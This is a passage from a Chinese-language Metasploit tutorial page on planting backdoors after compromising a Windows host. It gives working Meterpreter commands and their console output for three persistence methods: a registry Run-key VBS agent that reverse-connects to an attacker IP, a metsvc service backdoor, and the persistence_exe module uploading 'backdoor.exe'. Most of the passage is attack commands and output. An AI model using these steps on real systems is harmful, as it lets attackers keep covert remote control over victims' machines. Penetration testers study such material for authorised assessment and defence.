  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="48-植入后门">4.8 植入后门<a class="anchor" href="#48-植入后门">#</a></h3>
<p>Meterpreter仅仅是在内存中驻留的Shellcode，只要目标机器重启就会丧失控制权，下面就介绍如何植入后门，维持控制。</p>
<p>1.persistence启动项后门</p>
<p>路径：metasploit/scripts/meterpreter/persistence</p>
<p>原理是在<code>C:\Users***\AppData\Local\Temp\</code>目录下，上传一个vbs脚本，在注册表<code>HKLM\Software\Microsoft\Windows\CurrentVersion\Run\</code>加入开机启动项，<strong>很容易被杀软拦截，官方不推荐</strong></p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">run persistence –h  <span class="c1">#查看帮助</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">run persistence -X -i <span class="m">5</span> -p <span class="m">4444</span> -r 192.168.81.160
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1">#-X指定启动的方式为开机自启动，-i反向连接的时间间隔(5s) –r 指定攻击者的ip</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="c1"># 示例</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">meterpreter &gt; run persistence -X -i <span class="m">5</span> -p <span class="m">4444</span> -r 192.168.81.160
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="o">[</span>!<span class="o">]</span> Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>!<span class="o">]</span> Example: run post/windows/manage/persistence_exe <span class="nv">OPTION</span><span class="o">=</span>value <span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running Persistence Script
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Resource file <span class="k">for</span> cleanup created at /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.4235/SAUCERMAN_20190612.4235.rc
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Creating <span class="nv">Payload</span><span class="o">=</span>windows/meterpreter/reverse_tcp <span class="nv">LHOST</span><span class="o">=</span>192.168.81.160 <span class="nv">LPORT</span><span class="o">=</span><span class="m">4444</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Persistent agent script is <span class="m">99630</span> bytes long
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Persistent Script written to C:<span class="se">\U</span>sers<span class="se">\T</span>ideSec<span class="se">\A</span>ppData<span class="se">\L</span>ocal<span class="se">\T</span>emp<span class="se">\q</span>exwcMF.vbs
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Executing script C:<span class="se">\U</span>sers<span class="se">\T</span>ideSec<span class="se">\A</span>ppData<span class="se">\L</span>ocal<span class="se">\T</span>emp<span class="se">\q</span>exwcMF.vbs
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Agent executed with PID <span class="m">3540</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Installing into autorun as HKLM<span class="se">\S</span>oftware<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\C</span>urrentVersion<span class="se">\R</span>un<span class="se">\q</span>rsXZuPqVbEgua
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Installed into autorun as HKLM<span class="se">\S</span>oftware<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\C</span>urrentVersion<span class="se">\R</span>un<span class="se">\q</span>rsXZuPqVbEgua</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>能实现同样功能的脚本还有：exploit/windows/local/persistence</p>
<p>2.metsvc服务后门</p>
<p>在C:\Users***\AppData\Local\Temp\目录下，上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项。<strong>通过服务启动，需要管理员权限，官方不推荐使用，运行失败</strong></p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">run metsvc –A   <span class="c1">#自动安装后门</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="c1"># 示例</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">meterpreter &gt; run metsvc –A
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="o">[</span>!<span class="o">]</span> Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="o">[</span>!<span class="o">]</span> Example: run post/windows/manage/persistence_exe <span class="nv">OPTION</span><span class="o">=</span>value <span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Creating a meterpreter service on port <span class="m">31337</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Creating a temporary installation directory C:<span class="se">\U</span>sers<span class="se">\T</span>ideSec<span class="se">\A</span>ppData<span class="se">\L</span>ocal<span class="se">\T</span>emp<span class="se">\i</span>InvhjKZbLH...
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>  &gt;&gt; Uploading metsrv.x86.dll...
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>  &gt;&gt; Uploading metsvc-server.exe...
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="o">[</span>*<span class="o">]</span>  &gt;&gt; Uploading metsvc.exe...
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Starting the service...
</span></span><span class="line"><span class="ln">14</span><span class="cl">    Cannot open service manager <span class="o">(</span>0x00000005<span class="o">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">meterpreter &gt; ls
</span></span><span class="line"><span class="ln">17</span><span class="cl">Listing: C:<span class="se">\U</span>sers<span class="se">\T</span>ideSec<span class="se">\A</span>ppData<span class="se">\L</span>ocal<span class="se">\T</span>emp<span class="se">\i</span>InvhjKZbLH
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="o">========================================================</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">Mode              Size    Type  Last modified              Name
</span></span><span class="line"><span class="ln">21</span><span class="cl">----              ----    ----  -------------              ----
</span></span><span class="line"><span class="ln">22</span><span class="cl">100666/rw-rw-rw-  <span class="m">178688</span>  fil   2019-06-12 06:46:20 -0700  metsrv.dll
</span></span><span class="line"><span class="ln">23</span><span class="cl">100777/rwxrwxrwx  <span class="m">45056</span>   fil   2019-06-12 06:46:21 -0700  metsvc-server.exe
</span></span><span class="line"><span class="ln">24</span><span class="cl">100777/rwxrwxrwx  <span class="m">61440</span>   fil   2019-06-12 06:46:21 -0700  metsvc.exe</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>三个文件上传成功，但服务没有启动起来，失败了。使用<code>-r</code>参数可卸载服务。</p>
<p>3.persistence_exe</p>
<p>再来看看官方推荐的东西吧</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">meterpreter &gt; info post/windows/manage/persistence_exe
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">       Name: Windows Manage Persistent EXE Payload Installer
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">     Module: post/windows/manage/persistence_exe
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">   Platform: Windows
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">       Arch: 
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">       Rank: Normal
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">Provided by:
</span></span><span class="line"><span class="ln">10</span><span class="cl">  Merlyn drforbin Cousins &lt;drforbin6@gmail.com&gt;
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">Compatible session types:
</span></span><span class="line"><span class="ln">13</span><span class="cl">  Meterpreter
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">Basic options:
</span></span><span class="line"><span class="ln">16</span><span class="cl">  Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">17</span><span class="cl">  ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">18</span><span class="cl">  REXENAME  default.exe      yes       The name to call exe on remote system
</span></span><span class="line"><span class="ln">19</span><span class="cl">  REXEPATH                   yes       The remote executable to upload and execute.
</span></span><span class="line"><span class="ln">20</span><span class="cl">  SESSION                    yes       The session to run this module on.
</span></span><span class="line"><span class="ln">21</span><span class="cl">  STARTUP   USER             yes       Startup <span class="nb">type</span> <span class="k">for</span> the persistent payload. <span class="o">(</span>Accepted: USER, SYSTEM, SERVICE<span class="o">)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">Description:
</span></span><span class="line"><span class="ln">24</span><span class="cl">  This Module will upload an executable to a remote host and make it 
</span></span><span class="line"><span class="ln">25</span><span class="cl">  Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER 
</span></span><span class="line"><span class="ln">26</span><span class="cl">  will start on user login, SYSTEM will start on system boot but 
</span></span><span class="line"><span class="ln">27</span><span class="cl">  requires privs. SERVICE will create a new service which will start 
</span></span><span class="line"><span class="ln">28</span><span class="cl">  the payload. Again requires privs.
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl">Module options <span class="o">(</span>post/windows/manage/persistence_exe<span class="o">)</span>:
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">35</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">36</span><span class="cl">   REXENAME  default.exe      yes       The name to call exe on remote system
</span></span><span class="line"><span class="ln">37</span><span class="cl">   REXEPATH                   yes       The remote executable to upload and execute.
</span></span><span class="line"><span class="ln">38</span><span class="cl">   SESSION                    yes       The session to run this module on.
</span></span><span class="line"><span class="ln">39</span><span class="cl">   STARTUP   USER             yes       Startup <span class="nb">type</span> <span class="k">for</span> the persistent payload. <span class="o">(</span>Accepted: USER, SYSTEM, SERVICE<span class="o">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>此模块将可执行文件上载到远程主机并进行创建持久性。
涉及到四个参数</p>
<ul>
<li>REXENAME是拷贝到目标系统中的名字</li>
<li>EXEPATH是将要上传的后门在本地的位置</li>
<li>SESSION是选择运行此模块的会话</li>
<li>STARTUP是启动类型，有USER、SYSTEM、SERVICE这三种取值，USER表示为将在用户登录时启动，SYSTEM表示将在系统启动时启动(需要权限)，SERVICE表示将创建一个启动服务项(需要权限)。</li>
</ul>
<p>尝试一下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">meterpreter &gt; run post/windows/manage/persistence_exe <span class="nv">REXENAME</span><span class="o">=</span>backdoor.exe <span class="nv">REXEPATH</span><span class="o">=</span>/home/ubuntu/shell.exe <span class="nv">STARTUP</span><span class="o">=</span>USER
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running module against SAUCERMAN
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Reading Payload from file /home/ubuntu/shell.exe
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Persistent Script written to C:<span class="se">\U</span>sers<span class="se">\T</span>ideSec<span class="se">\A</span>ppData<span class="se">\L</span>ocal<span class="se">\T</span>emp<span class="se">\b</span>ackdoor.exe
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Executing script C:<span class="se">\U</span>sers<span class="se">\T</span>ideSec<span class="se">\A</span>ppData<span class="se">\L</span>ocal<span class="se">\T</span>emp<span class="se">\b</span>ackdoor.exe
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Agent executed with PID <span class="m">3684</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Installing into autorun as HKCU<span class="se">\S</span>oftware<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\C</span>urrentVersion<span class="se">\R</span>un<span class="se">\m</span>EMZDQOxkkeebI
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> Installed into autorun as HKCU<span class="se">\S</span>oftware<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\C</span>urrentVersion<span class="se">\R</span>un<span class="se">\m</span>EMZDQOxkkeebI
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Cleanup Meterpreter RC File: /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.1023/SAUCERMAN_20190612.1023.rc</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
